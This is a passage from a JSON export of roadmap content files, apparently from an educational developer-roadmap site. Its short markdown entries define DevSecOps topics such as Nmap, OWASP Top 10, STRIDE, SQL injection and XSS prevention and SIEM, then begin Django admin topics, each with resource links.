    "content": "# Nmap\n\nNmap (Network Mapper) is a free and open-source utility used for network discovery and security auditing. It's designed to scan networks to determine available hosts, the services they offer, the operating systems they run, packet filters/firewalls, and many other characteristics. Nmap works by sending packets to target hosts and analyzing the responses.\n\nVisit the following resources to learn more:\n\n- [@official@NMAP](https://nmap.org/)\n- [@article@NMAP Cheat Sheet](https://www.tutorialspoint.com/nmap-cheat-sheet)\n- [@video@Nmap Tutorial to find Network Vulnerabilities](https://www.youtube.com/watch?v=4t4kBkMsDbQ)"
  },
  {
    "path": "src/data/roadmaps/devsecops/content/openvas@mIcs0fp3T9IwwAvgYyKnY.md",
    "content": "# OpenVAS\n\nOpenVAS (Open Vulnerability Assessment System) is a comprehensive vulnerability scanner. It's a framework of several services and tools offering vulnerability management. OpenVAS helps identify security weaknesses in systems and networks by performing tests against known vulnerabilities. It's often used for vulnerability assessments and penetration testing.\n\nVisit the following resources to learn more:\n\n- [@official@OpenVAS](https://www.openvas.org/)\n- [@opensource@openvas](https://github.com/greenbone/openvas-scanner)\n- [@article@OpenVAS Tutorial and Tips](https://hackertarget.com/openvas-tutorial-tips/)\n- [@video@Complete Beginner OpenVAS Vulnerability Scanning Tutorial - Cyber Security // Kali Linux](https://www.youtube.com/watch?v=LGh2SetiKaY)"
  },
  {
    "path": "src/data/roadmaps/devsecops/content/owasp-top-10@igGASa7AknApWtq57v2Qx.md",
    "content": "# OWASP Top 10\n\nThe OWASP Top 10 is a standard awareness document for developers and web application security. It represents a broad consensus about the most critical security risks to web applications. It's a list that is updated periodically to reflect the changing threat landscape and provides actionable guidance on how to mitigate these risks. The list includes vulnerabilities like injection flaws, broken authentication, and security misconfigurations.\n\nVisit the following resources to learn more:\n\n- [@article@OWASP Top 10](https://owasp.org/www-project-top-ten/)\n- [@article@What is the OWASP Top 10?](https://www.cloudflare.com/learning/security/threats/owasp-top-10/)"
  },
  {
    "path": "src/data/roadmaps/devsecops/content/pasta@6A_3p3CzwxFVjJaXahEVr.md",
    "content": "# PASTA\n\nPASTA (Process for Attack Simulation and Threat Analysis) is a risk-centric threat modeling methodology. It focuses on aligning security with business objectives by understanding the potential impact of threats on the organization's goals. It involves a seven-stage process that includes defining objectives, technical risk analysis, application decomposition, threat analysis, vulnerability analysis, attack modeling, and risk & impact analysis.\n\nVisit the following resources to learn more:\n\n- [@article@PASTA Threat Modeling](https://threat-modeling.com/pasta-threat-modeling/)\n- [@article@Process for Attack Simulation & Threat Analysis](https://cdn2.hubspot.net/hubfs/4598121/Content%20PDFs/VerSprite-PASTA-Threat-Modeling-Process-for-Attack-Simulation-Threat-Analysis.pdf)\n- [@video@PASTA Threat Modeling for Cybersecurity | Threat Modeling Example](https://www.youtube.com/watch?v=s21aI-jqIVM&t=144s)"
  },
  {
    "path": "src/data/roadmaps/devsecops/content/pki-design-and-failover@nEYMyTKfRDqA2Uc1tCwxv.md",
    "content": "# PKI Design and Failover\n\nPublic Key Infrastructure (PKI) is a system for creating, managing, distributing, using, storing, and revoking digital certificates. These certificates are used to verify the identity of users, devices, and services, enabling secure communication and data exchange. PKI design involves selecting appropriate certificate authorities, defining certificate policies, and establishing procedures for key management. Failover mechanisms ensure the continued availability of PKI services in the event of a system failure, preventing disruptions to security and operations."
  },
  {
    "path": "src/data/roadmaps/devsecops/content/powershell@91lxZEOZ6KF3tY9id2Au8.md",
    "content": "# PowerShell\n\nPowerShell is a cross-platform task automation and configuration management framework, consisting of a command-line shell and associated scripting language. It allows users to automate administrative tasks on both local and remote Windows, Linux, and macOS systems. PowerShell uses cmdlets (pronounced \"command-lets\") to perform specific actions, and these cmdlets can be combined into scripts to automate complex processes.\n\nVisit the following resources to learn more:\n\n- [@official@What is PowerShell?](https://learn.microsoft.com/en-us/powershell/scripting/overview?view=powershell-7.5)\n- [@official@PowerShell Docs](https://learn.microsoft.com/en-us/powershell/)\n- [@opensource@Powershell](https://github.com/PowerShell/PowerShell)\n- [@video@Learn PowerShell in Less Than 2 Hours](https://www.youtube.com/watch?v=ZOoCaWyifmI)\n- [@video@PowerShell Made Easy](https://www.youtube.com/watch?v=b7SGPchYRn0)"
  },
  {
    "path": "src/data/roadmaps/devsecops/content/python@txcfATz3k89CedFrSZMWj.md",
    "content": "# Python in DevSecOps\n\nPython is a versatile programming language known for its readability and extensive libraries. It's used to automate tasks, build tools, and analyze data. Its simple syntax makes it easier to learn and use, while its powerful libraries allow for complex operations. This makes it a valuable asset for automating security tasks, integrating security tools, and analyzing security data within a DevSecOps environment.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit the Dedicated Python Roadmap](https://roadmap.sh/python)\n- [@official@Python Website](https://www.python.org/)\n- [@article@Python - Wiki](https://en.wikipedia.org/wiki/Python_(programming_language))\n- [@article@Tutorial Series: How to Code in Python](https://www.digitalocean.com/community/tutorials/how-to-write-your-first-python-3-program)\n- [@article@Google's Python Class](https://developers.google.com/edu/python)\n- [@video@Learn Python - Full Course](https://www.youtube.com/watch?v=4M87qBgpafk)"
  },
  {
    "path": "src/data/roadmaps/devsecops/content/qualys@Pkud7rAzdV5asF5aGAq7z.md",
    "content": "# Qualys\n\nQualys is a cloud-based platform that provides a suite of security and compliance solutions. It helps organizations identify vulnerabilities in their IT infrastructure, including servers, applications, and networks. Qualys offers various scanning capabilities, such as vulnerability management, web application scanning, and compliance monitoring, all accessible through a centralized platform.\n\nVisit the following resources to learn more:\n\n- [@official@Qualys](https://www.qualys.com/)\n- [@official@Qualys VMDR Getting Started Guide](https://docs.qualys.com/en/vmdr/getting-started-guide/vmdr/getting_started_guide.htm)\n- [@official@Training Videos](https://docs.qualys.com/en/pm/latest/other_resources/training_videos.htm)\n- [@video@Learn Qualys Vulnerability Management (Home Lab)](https://www.youtube.com/watch?v=l5At5WDj7v0&t=90s)\n- [@video@Qualys File Integrity Monitoring (FIM) Overview](https://www.youtube.com/watch?v=533YWyWk8X8&list=PL86wiCAX5vmQIninZod7FzuGBWVbb0vFv)"
  },
  {
    "path": "src/data/roadmaps/devsecops/content/response-strategy@6Q2VIdeSuBZzo7c1qnYLG.md",
    "content": "# Response Strategy\n\nA response strategy outlines the planned actions an organization will take when a security incident occurs. It defines roles, responsibilities, communication channels, and procedures for identifying, containing, eradicating, and recovering from security breaches. A well-defined strategy ensures a coordinated and effective response, minimizing damage and restoring normal operations as quickly as possible."
  },
  {
    "path": "src/data/roadmaps/devsecops/content/risk-quantification@V97S_0PrVw3jjHnmcxDgJ.md",
    "content": "# Risk Quantification\n\nRisk quantification is the process of assigning measurable values (often monetary) to the potential impact of identified risks. It involves analyzing the probability of a risk occurring and the potential damage it could cause to an organization's assets, operations, or reputation. This allows for a more objective comparison of different risks and helps prioritize mitigation efforts based on their potential financial or operational impact."
  },
  {
    "path": "src/data/roadmaps/devsecops/content/role-based-access@9Tea1ge_l1fls0fyPxMPG.md",
    "content": "# Role-Based Access Control\n\nRole-Based Access Control (RBAC) is a method of regulating access to computer or network resources based on the roles of individual users within an organization. It assigns permissions and privileges to roles, and then assigns users to those roles, simplifying access management and improving security by ensuring users only have the access necessary to perform their job functions.\n\nVisit the following resources to learn more:\n\n- [@article@Role-Based Access Control](https://auth0.com/docs/manage-users/access-control/rbac)\n- [@article@What is Role-based Access Control (RBAC)?](https://www.redhat.com/en/topics/security/what-is-role-based-access-control)\n- [@video@Role-based Access Control (RBAC) vs. Attribute-based Access Control (ABAC)](https://www.youtube.com/watch?v=rvZ35YW4t5k)"
  },
  {
    "path": "src/data/roadmaps/devsecops/content/root-cause-analysis@VyzLkdcLgxfSSFuUS0xO_.md",
    "content": "# Root Cause Analysis\n\nRoot Cause Analysis (RCA) is a systematic process for identifying the fundamental reasons behind a problem or incident. It goes beyond addressing the immediate symptoms to uncover the underlying factors that led to the issue. The goal of RCA is to implement corrective actions that prevent the problem from recurring in the future.\n\nVisit the following resources to learn more:\n\n- [@article@What is root cause analysis (RCA) in software development?](https://www.elastic.co/what-is/root-cause-analysis)\n- [@video@hat is Root Cause Analysis (RCA)?](https://www.youtube.com/watch?v=7t3lTYEd_PM)"
  },
  {
    "path": "src/data/roadmaps/devsecops/content/ruby@nKthK-OsFO0TGwptD-Dme.md",
    "content": "# Ruby in DevSecOps\n\nRuby is a dynamic, open-source programming language known for its simplicity and readability. Its flexible syntax and powerful features make it useful for automating tasks, building tools, and scripting, which are all valuable in a DevSecOps environment. Ruby's extensive ecosystem of gems (libraries) provides pre-built solutions for various security and automation needs, allowing teams to quickly implement and integrate security practices into their development pipelines.\n\nVisit the following resources to learn more:\n\n- [@official@Ruby](https://www.ruby-lang.org/en/)\n- [@opensource@Ruby Lang](https://github.com/ruby/ruby)\n- [@video@Ruby Programming Language - Full Course](https://www.youtube.com/watch?app=desktop&v=t_ispmWmdjY&t=0s)"
  },
  {
    "path": "src/data/roadmaps/devsecops/content/rust@V_-gY34XcyIqPcLKtDJZr.md",
    "content": "# Rust\n\nRust is a systems programming language focused on safety, speed, and concurrency. Its memory safety features, achieved through a borrow checker and ownership system, help prevent common vulnerabilities like buffer overflows and data races. This makes Rust a valuable tool for building secure and reliable software components within a DevSecOps environment, especially for performance-critical applications and infrastructure tools.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit de Dedicated Rust Roadmap](https://roadmap.sh/rust)\n- [@official@Rust Programming Language](https://rust-lang.org/)\n- [@official@Rust by Example](https://doc.rust-lang.org/stable/rust-by-example/index.html#rust-by-example)\n- [@opensource@Rust Book](https://edu.anarcho-copy.org/Programming%20Languages/Rust/rust-programming-language-steve-klabnik.pdf)\n- [@opensource@Rust Book Interactive](https://rust-book.cs.brown.edu/experiment-intro.html)"
  },
  {
    "path": "src/data/roadmaps/devsecops/content/sboms@MF8AYjKun5SHtumTyuurJ.md",
    "content": "# SBOMs\n\nA Software Bill of Materials (SBOM) is a comprehensive inventory of all components, libraries, and dependencies used in building a software application. It's essentially a list that details the ingredients of your software, much like a nutrition label for food. This allows developers and security teams to understand the composition of their software and identify potential vulnerabilities or licensing issues associated with those components.\n\nVisit the following resources to learn more:\n\n- [@article@Software Bill of Materials (SBOM)](https://www.cisa.gov/sbom)\n- [@article@The ultimate guide to SBOMs](https://about.gitlab.com/blog/the-ultimate-guide-to-sboms/)\n- [@article@What Is a Software Bill of Materials (SBOM)?](https://www.paloaltonetworks.com/cyberpedia/what-is-software-bill-materials-sbom)\n- [@video@Thinking Elixir Podcast 245: Supply Chain Security and SBoMs](https://www.youtube.com/watch?v=jYkV9n4WW-Y)\n- [@video@The Rise of Software Bill of Materials (SBOMs) – A Growing Necessity](https://www.youtube.com/watch?v=Vqn9P6gEM5I)"
  },
  {
    "path": "src/data/roadmaps/devsecops/content/scripting-knowledge@wjJPzrFJBNYOD3SJLzW2M.md",
    "content": "# Scripting Knowledge\n\nScripting involves the ability to write and understand scripts, which are sets of instructions executed by a computer. These scripts automate tasks, configure systems, and manage infrastructure. They are typically written in languages like Python or shells like Bash or PowerShell. They allow for efficient and repeatable execution of complex operations.\n\nVisit the following resources to learn more:\n\n- [@article@Scripting language - Wikipedia](https://en.wikipedia.org/wiki/Scripting_language)\n- [@article@What is scripting?](https://coralogix.com/blog/what-is-scripting/)\n- [@video@What's the difference between Programming and Scripting?](https://www.youtube.com/watch?v=7-0iBZxNq74)\n- [@video@ash Scripting Tutorial – Linux Shell Script and Command Line for Beginners](https://www.freecodecamp.org/news/bash-scripting-tutorial-linux-shell-script-and-command-line-for-beginners/)\n- [@video@Bash Scripting on Linux](https://www.youtube.com/playlist?list=PLT98CRl2KxKGj-VKtApD8-zCqSaN2mD4w)"
  },
  {
    "path": "src/data/roadmaps/devsecops/content/secure-api-design@aMu0e6xQ3Rak44F_I7Ish.md",
    "content": "# Secure API Design\n\nSecure API design focuses on building application programming interfaces (APIs) that are resilient to attacks and protect sensitive data. This involves implementing security measures throughout the API lifecycle, from initial design and development to deployment and maintenance. Key considerations include authentication, authorization, input validation, encryption, and rate limiting to prevent unauthorized access, data breaches, and other security vulnerabilities.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit the Dedicated API Design Roadmap](https://roadmap.sh/api-design)\n- [@roadmap@API Security Best Practices](https://roadmap.sh/api-security-best-practices)\n- [@article@OWASP Project API Security](https://owasp.org/API-Security/editions/2023/en/0x00-toc/)\n- [@video@API Security Fundamentals – Course for Beginners](https://www.youtube.com/watch?v=R-4_DbV1Su4)"
  },
  {
    "path": "src/data/roadmaps/devsecops/content/secure-coding@iHd6XNAUGXn3_d-I_YtTM.md",
    "content": "# Secure Coding\n\nSecure coding involves developing software applications in a way that prevents vulnerabilities and reduces the risk of security breaches. It encompasses a set of practices and guidelines that developers follow throughout the software development lifecycle to minimize potential flaws that attackers could exploit. This includes techniques like input validation, output encoding, and proper error handling to ensure the application is resilient against common security threats.\n\nVisit the following resources to learn more:\n\n- [@article@What Is Secure Coding? Best Practices and Techniques to Apply](https://www.legitsecurity.com/aspm-knowledge-base/what-is-secure-coding)\n- [@article@What Is Secure Coding? Best Practices and Techniques to Apply](https://www.securecoding.org/)\n- [@video@Secure Coding Techniques - SY0-601 CompTIA Security+ : 2.3](https://www.youtube.com/watch?v=IEIGEjy-W4Q)"
  },
  {
    "path": "src/data/roadmaps/devsecops/content/secure-network-zoning@ixiKWBp8m4tP55dBYFzRL.md",
    "content": "# Secure Network Zoning\n\nSecure network zoning involves dividing a network into distinct segments or zones, each with its own security policies and access controls. This segmentation limits the impact of a security breach by containing it within a specific zone, preventing attackers from easily moving laterally across the entire network. By implementing strict rules for traffic flow between zones, organizations can minimize the attack surface and protect sensitive data and systems.\n\nVisit the following resources to learn more:\n\n- [@article@Security zones](https://www.ibm.com/docs/en/storage-ceph/8.0.0?topic=management-security-zones)\n- [@article@Network Segmentation: Secure Your Network, Contain Attacks](https://www.tufin.com/blog/network-segmentation-secure-your-network)\n- [@article@Security Zoning in Network Architecture](https://medium.com/@aman.bansal93/security-zoning-in-network-architecture-ff7693b91556)"
  },
  {
    "path": "src/data/roadmaps/devsecops/content/sha-256@LKMBv-M9k71yrR2WzN4bK.md",
    "content": "# SHA-256\n\nSHA-256 (Secure Hash Algorithm 256-bit) is a cryptographic hash function that generates a nearly unique 256-bit (32-byte) hash from any input data. This hash acts as a digital fingerprint, meaning even a small change to the input will result in a drastically different hash value. It's primarily used for verifying data integrity, digital signatures, and password storage due to its one-way nature, making it computationally infeasible to reverse the process and derive the original input from the hash.\n\nVisit the following resources to learn more:\n\n- [@article@A Definitive Guide to Learn The SHA-256 (Secure Hash Algorithms)](https://www.simplilearn.com/tutorials/cyber-security-tutorial/sha-256-algorithm)\n- [@article@What is the SHA-256 algorithm, and how does it work?](https://nordvpn.com/blog/sha-256/?srsltid=AfmBOoox3HKIBWzAYqvIp1Eio9jDh7ntzKnfEuJw79zF_h2NfuI2MsyA)\n- [@article@Use cases for hash functions or what is SHA-256?](https://medium.com/@makhmud.islamov/use-cases-for-hash-functions-or-what-is-sha-256-83036de048b4)\n- [@video@How secure is 256 bit security?](https://www.youtube.com/watch?v=S9JGmA5_unY)\n- [@video@SHA-256 | COMPLETE Step-By-Step Explanation (W/ Example)](https://www.youtube.com/watch?v=orIgy2MjqrA)"
  },
  {
    "path": "src/data/roadmaps/devsecops/content/siem@hnroE_riXvw6BqYdirWBX.md",
    "content": "# SIEM\n\nSIEM (Security Information and Event Management) is a system that collects and analyzes security logs and event data from various sources across an organization's IT infrastructure. It helps security teams detect, analyze, and respond to security threats and incidents by providing a centralized view of security-related information and automating threat detection and incident response processes. SIEM systems typically include features such as log management, event correlation, threat intelligence integration, and reporting.\n\nVisit the following resources to learn more:\n\n- [@article@Security 101: What is a SIEM? - Microsoft](https://www.microsoft.com/security/business/security-101/what-is-siem)\n- [@video@SIEM Explained - Professor Messer](https://www.youtube.com/watch?v=JEcETdy5WxU)\n- [@video@Wazuh | Open source SIEM](https://www.youtube.com/watch?v=3CaG2GI1kn0)\n- [@video@Splunk | The Complete Beginner Tutorial](https://www.youtube.com/playlist?list=PLY2f3p7xyMiTUbUo0A_lBFEwj6KdH0nFy)\n- [@video@Elastic Security | Build a powerful home SIEM](https://www.youtube.com/watch?v=2XLzMb9oZBI)"
  },
  {
    "path": "src/data/roadmaps/devsecops/content/soar-automation@rXS1CIZHu7TA_o7L-vMtV.md",
    "content": "# SOAR Automation\n\nSOAR (Security Orchestration, Automation, and Response) automation involves using technologies to collect security data from various sources, analyze it, and then automate responses to security incidents. This includes tasks like threat intelligence gathering, vulnerability scanning, incident investigation, and remediation actions. The goal is to improve the efficiency and effectiveness of security operations by reducing manual effort and enabling faster response times to threats."
  },
  {
    "path": "src/data/roadmaps/devsecops/content/soar-concepts@O0aVW37VhZInw9Z9Mghcg.md",
    "content": "# SOAR Concepts\n\nSOAR (Security Orchestration, Automation and Response) refers to a collection of technologies that enable organizations to automate and orchestrate security tasks and incident response processes. It integrates various security tools and data sources to streamline workflows, improve efficiency, and reduce the time it takes to detect, analyze, and respond to security threats. SOAR platforms typically include capabilities for threat intelligence, incident management, and automated remediation.\n\nVisit the following resources to learn more:\n\n- [@article@What is SOAR?](https://www.paloaltonetworks.co.uk/cyberpedia/what-is-soar)\n- [@video@What is SOAR (Security, Orchestration, Automation & Response](https://www.youtube.com/watch?v=k7ju95jDxFA)"
  },
  {
    "path": "src/data/roadmaps/devsecops/content/soc-2@VmDslOmZANHpHmAInFa_j.md",
    "content": "# SOC 2\n\nSOC 2 (System and Organization Controls 2) is an auditing procedure that ensures service providers securely manage data to protect the interests of their organization and the privacy of its clients. It defines criteria for managing customer data based on five \"trust service principles\": security, availability, processing integrity, confidentiality, and privacy. A SOC 2 report assures customers that a service provider has implemented controls to protect their data."
  },
  {
    "path": "src/data/roadmaps/devsecops/content/sql-injection-prevention@VPBQh3CSsNA-esuvEHT3X.md",
    "content": "# SQL Injection Prevention\n\nSQL Injection is a type of security vulnerability that occurs when malicious SQL code is inserted into an application's database query. This can happen when user input is not properly validated or sanitized before being used in a SQL query. Successful exploitation can allow attackers to bypass security measures, gain unauthorized access to sensitive data, modify or delete data, or even execute arbitrary commands on the database server.\n\nVisit the following resources to learn more:\n\n- [@article@SQL Injection: How it Works and How to Prevent it](https://www.datacamp.com/tutorial/sql-injection)\n- [@article@PortSwigger - SQL Injection](https://portswigger.net/web-security/sql-injection)\n- [@video@SQL Injections are scary](https://www.youtube.com/watch?v=2OPVViV-GQk)"
  },
  {
    "path": "src/data/roadmaps/devsecops/content/stride@EZZsZHxu7__yM2l9tr95-.md",
    "content": "# STRIDE\n\nSTRIDE is a threat modeling methodology used to identify potential security threats in a system or application. It provides a framework for categorizing threats based on six key characteristics: Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service, and Elevation of Privilege. By systematically analyzing these categories, security professionals can proactively identify vulnerabilities and design mitigations to reduce risk.\n\nVisit the following resources to learn more:\n\n- [@article@STRIDE](https://owasp.org/www-community/Threat_Modeling_Process#stride)\n- [@article@What Is the STRIDE Threat Model? Beginner’s Guide – 2025](https://www.practical-devsecops.com/what-is-stride-threat-model/)\n- [@article@STRIDE: A Guide to Threat Modeling and Secure Implementation](https://dzone.com/articles/stride-threat-modeling-guide-secure-implementation)\n- [@article@Using the STRIDE Threat Model: Tutorial & Best Practices](https://drata.com/grc-central/risk/guide-stride-threat-model)"
  },
  {
    "path": "src/data/roadmaps/devsecops/content/supply-chain-security@qKHb2e9g_Xuo-nHepICTR.md",
    "content": "# Supply Chain Security\n\nSupply chain security focuses on protecting the integrity and security of all components, processes, and people involved in the development and delivery of software. It aims to prevent malicious actors from introducing vulnerabilities or malicious code into the software supply chain, ensuring that the final product is trustworthy and free from tampering. This includes securing everything from open-source libraries and third-party dependencies to build pipelines and deployment environments.\n\nVisit the following resources to learn more:\n\n- [@article@Software Supply Chain Security¶](https://cheatsheetseries.owasp.org/cheatsheets/Software_Supply_Chain_Security_Cheat_Sheet.html)\n- [@article@What is supply chain security?](https://www.ibm.com/think/topics/supply-chain-security)\n- [@article@The Ultimate Guide to Software Supply Chain Security](https://www.gitguardian.com/nhi-hub/software-supply-chain-security)\n- [@video@Understanding software supply chain threats | Security Detail](https://www.youtube.com/watch?v=BqpWvESLW78)\n- [@video@Securing your software supply chain](https://www.youtube.com/watch?v=Dg-hD4HHKT8)"
  },
  {
    "path": "src/data/roadmaps/devsecops/content/symmetric@mT1cKWZcKXwvopW6BeX-A.md",
    "content": "# Symmetric Encryption\n\nSymmetric encryption uses the same secret key for both encrypting and decrypting data. This means that the sender and receiver must both possess the same key before secure communication can begin. Algorithms like AES and DES are common examples, offering a balance between security and speed, making them suitable for encrypting large amounts of data.\n\nVisit the following resources to learn more:\n\n- [@article@What is symmetric encryption?](https://www.ibm.com/think/topics/symmetric-encryption)\n- [@video@What is Symmetric Encryption? Simply Explained | CyberArk](https://www.youtube.com/watch?v=Wh9iC6uMv9s)\n- [@video@What is symmetric encryption?](https://www.youtube.com/watch?v=8Ov4HyncJUU)"
  },
  {
    "path": "src/data/roadmaps/devsecops/content/threat-modeling-workflows@qfhpMprVX562UuktYN9BZ.md",
    "content": "# Threat Modeling Workflows\n\nThreat modeling workflows are structured, repeatable processes used to identify, assess, and mitigate potential security threats in a system or application. These workflows typically involve defining the system's scope, decomposing it into components, identifying potential threats and vulnerabilities, prioritizing those threats based on risk, and then developing and implementing mitigation strategies. The goal is to proactively address security concerns throughout the development lifecycle.\n\nVisit the following resources to learn more:\n\n- [@article@Threat Modeling Process](https://owasp.org/www-community/Threat_Modeling_Process)\n- [@article@Top 12 Threat Modeling Methodologies and Techniques](https://www.securitycompass.com/blog/top-12-threat-modeling-methodologies-techniques/)\n- [@article@Best Practices in the Threat Modeling Process](https://blog.secureflag.com/2025/04/03/threat-modeling-process/)"
  },
  {
    "path": "src/data/roadmaps/devsecops/content/threat-modeling@XA7JUF00B1locP0xY3T95.md",
    "content": "# Threat Modeling\n\nThreat modeling is a structured process for identifying, evaluating, and mitigating potential security threats and vulnerabilities in a system or application. It involves understanding the system's architecture, identifying potential attackers and their motives, and analyzing the possible attack vectors they might use to compromise the system. The goal is to proactively identify weaknesses and design security controls to reduce the risk of successful attacks.\n\nVisit the following resources to learn more:\n\n- [@article@What Is Threat Modeling?](https://www.cisco.com/site/us/en/learn/topics/security/what-is-threat-modeling.html)\n- [@article@Threat Modeling](https://owasp.org/www-community/Threat_Modeling)\n- [@article@Threat Modeling Process](https://owasp.org/www-community/Threat_Modeling_Process)\n- [@video@1. Introduction, Threat Models](https://www.youtube.com/watch?v=GqmQg-cszw4)"
  },
  {
    "path": "src/data/roadmaps/devsecops/content/tls@FvU310TuexCsp8QkvxJib.md",
    "content": "# TLS\n\nTLS (Transport Layer Security) is a protocol that provides privacy and data integrity between two communicating applications. It's the successor to SSL (Secure Sockets Layer) and is used to encrypt the communication between a client (like a web browser) and a server, ensuring that data transmitted between them remains confidential and tamper-proof. TLS uses cryptographic algorithms to encrypt data, authenticate the server (and optionally the client), and ensure the integrity of the data being transmitted.\n\nVisit the following resources to learn more:\n\n- [@article@What is TLS & How Does it Work? - Internet Society](https://www.internetsociety.org/deploy360/tls/basics/)\n- [@article@What is TLS (Transport Layer Security)? - Cloudflare](https://www.cloudflare.com/learning/ssl/transport-layer-security-tls/)\n- [@video@SSL and HTTPS](https://www.youtube.com/watch?v=S2iBR2ZlZf0)\n- [@video@SSL/TLS - Cristina Formaini](https://www.youtube.com/watch?v=Rp3iZUvXWlM)"
  },
  {
    "path": "src/data/roadmaps/devsecops/content/vim--nano--emacs@7MavDAydyrt0tOJ6a6xRQ.md",
    "content": "# Text Editors: Vim, Nano, and Emacs\n\nVim, Nano, and Emacs are text editors used for creating, viewing, and modifying files, particularly configuration files and code. They provide different interfaces and functionalities, ranging from simple, beginner-friendly options to highly customizable and powerful environments for advanced users. These editors are essential tools for interacting with systems and automating tasks through scripting.\n\nVisit the following resources to learn more:\n\n- [@official@Vim](https://www.vim.org)\n- [@official@GNU Nano](https://www.nano-editor.org/)\n- [@official@GNU Emacs](https://www.gnu.org/software/emacs/)\n- [@book@Practical Vim 2nd Edition](https://dokumen.pub/practical-vim-2nd-edition-2nd-edition-9781680501278.html)\n- [@video@Vim Tutorial for Beginners](https://www.youtube.com/watch?v=RZ4p-saaQkc)\n- [@video@Linux Crash Course - nano](https://www.youtube.com/watch?v=DLeATFgGM-A)\n- [@video@The Absolute Beginner's Guide to Emacs](https://www.youtube.com/watch?v=48JlgiBpw_I)"
  },
  {
    "path": "src/data/roadmaps/devsecops/content/vlans@GPVN-nDitsY1bF_3huqnh.md",
    "content": "# VLANs\n\nVLANs (Virtual Local Area Networks) are a way to logically segment a physical network into multiple broadcast domains. This allows you to group devices regardless of their physical location, improving network security, performance, and manageability by isolating traffic and reducing broadcast traffic within the network.\n\nVisit the following resources to learn more:\n\n- [@article@What is a VLAN?](https://www.solarwinds.com/resources/it-glossary/vlan)\n- [@video@VLAN Explained](https://www.youtube.com/watch?v=jC6MJTh9fRE)"
  },
  {
    "path": "src/data/roadmaps/devsecops/content/wireshark-basics@iHhitN8zToXm4nK1m0OeR.md",
    "content": "# Wireshark Basics\n\nWireshark is a free and open-source packet analyzer. It captures network traffic in real-time and allows you to examine the data transmitted across a network. It can be used to troubleshoot network problems, analyze network protocols, examine security issues, and learn about network communication. Wireshark decodes the raw network data into a human-readable format, making it easier to understand the information being transmitted.\n\nVisit the following resources to learn more:\n\n- [@official@Wireshark](https://www.wireshark.org/))\n- [@article@How to Use Wireshark: Comprehensive Tutorial + Tips](https://www.varonis.com/blog/how-to-use-wireshark))\n- [@video@How to use Wireshark](https://www.youtube.com/watch?v=zWoHJ3oGRGY))\n- [@video@Wireshark Tutorial for BEGINNERS || How to Capture Network Traffic || Skilled Inspirational Academy](https://www.youtube.com/watch?v=byL8VMEMC0M&list=PL_o0Qzu-8MKhg6co37kssx6lRdQ4o1YpX)"
  },
  {
    "path": "src/data/roadmaps/devsecops/content/xss-prevention@ph7rFQFJffi_di133vm3Z.md",
    "content": "# Cross-Site Scripting (XSS) Prevention\n\nCross-Site Scripting (XSS) is a type of security vulnerability that allows attackers to inject malicious scripts into websites viewed by other users. These scripts can then execute in the user's browser, potentially stealing sensitive information like cookies, redirecting the user to malicious sites, or defacing the website. Preventing XSS involves sanitizing user inputs, encoding outputs, and implementing security policies to ensure that untrusted data cannot be executed as code.\n\nVisit the following resources to learn more:\n\n- [@article@Cross Site Scripting Prevention Cheat Sheet¶](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n- [@article@Cross-site scripting](https://portswigger.net/web-security/cross-site-scripting)\n- [@article@Cross-site scripting (XSS)](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/XSS)\n- [@video@Cross-Site Scripting: A 25-Year Threat That Is Still Going Strong](https://www.youtube.com/watch?v=z4LhLJnmoZ0)\n- [@video@Cross-Site Scripting (XSS) Explained](https://www.youtube.com/watch?v=EoaDgUgS6QA&t=341s)"
  },
  {
    "path": "src/data/roadmaps/devsecops/content/zero-trust-concepts@3UAH70FkQlv5_VbYon4U9.md",
    "content": "# Zero Trust Concepts\n\nZero Trust is a security framework based on the principle of \"never trust, always verify.\" It assumes that no user or device, whether inside or outside the network perimeter, should be automatically trusted. Instead, every access request is fully authenticated, authorized, and encrypted before granting access to resources. This approach minimizes the blast radius of potential breaches and enhances overall security posture by continuously validating trust at every stage of digital interaction.\n\nVisit the following resources to learn more:\n\n- [@article@What is a Zero Trust Network?](https://www.cloudflare.com/en-gb/learning/security/glossary/what-is-zero-trust/)\n- [@video@ero Trust Explained in 4 minutes](https://www.youtube.com/watch?v=yn6CPQ9RioA)"
  },
  {
    "path": "src/data/roadmaps/devsecops/devsecops.md",
    "content": "---\nrenderer: 'editor'\n---"
  },
  {
    "path": "src/data/roadmaps/django/content/admin-customization@KHoau3Pz7o951L8Ivryk0.md",
    "content": "# Admin Customization\n\nAdmin customization in Django refers to modifying the default appearance and functionality of the Django admin interface. This involves tailoring the admin site to better suit the specific needs of a project, such as changing the display of fields, adding custom actions, or altering the overall layout. Customization allows developers to create a more user-friendly and efficient experience for content managers and administrators.\n\nVisit the following resources to learn more:\n\n- [@official@The Django admin site](https://docs.djangoproject.com/en/6.0/ref/contrib/admin/#custom-template-options)\n- [@article@Customizing the Django Admin](https://testdriven.io/blog/customize-django-admin/)\n- [@article@Customize the Django Admin With Python](https://realpython.com/customize-django-admin-python/)\n- [@article@Customizing the Django Admin](https://earthly.dev/blog/customize-django-admin-site/)\n- [@video@Learn Django - Admin](https://www.youtube.com/watch?v=c_S0ZQs81XQ&list=PLOLrQ9Pn6cazhaxNDhcOIPYXt2zZhAXKO)"
  },
  {
    "path": "src/data/roadmaps/django/content/adminpy@tffzsnhXGpN8-CPLgmdxn.md",
    "content": "# Django's admin.py\n\n`admin.py` is a Python file within a Django app that's responsible for configuring how your models are displayed and managed in Django's automatically generated admin interface. It allows you to register your models, customize their appearance, add search functionality, and define how they can be edited through the admin site. This file essentially bridges the gap between your data models and the user-friendly admin panel.\n\nVisit the following resources to learn more:\n\n- [@official@django-admin and manage.py](https://docs.djangoproject.com/en/6.0/ref/django-admin/)\n- [@article@Django Admin](https://www.w3schools.com/django/django_admin.php)"
  },
  {
    "path": "src/data/roadmaps/django/content/aggregations@9PRY8NUilH2xITVyhpQSy.md",
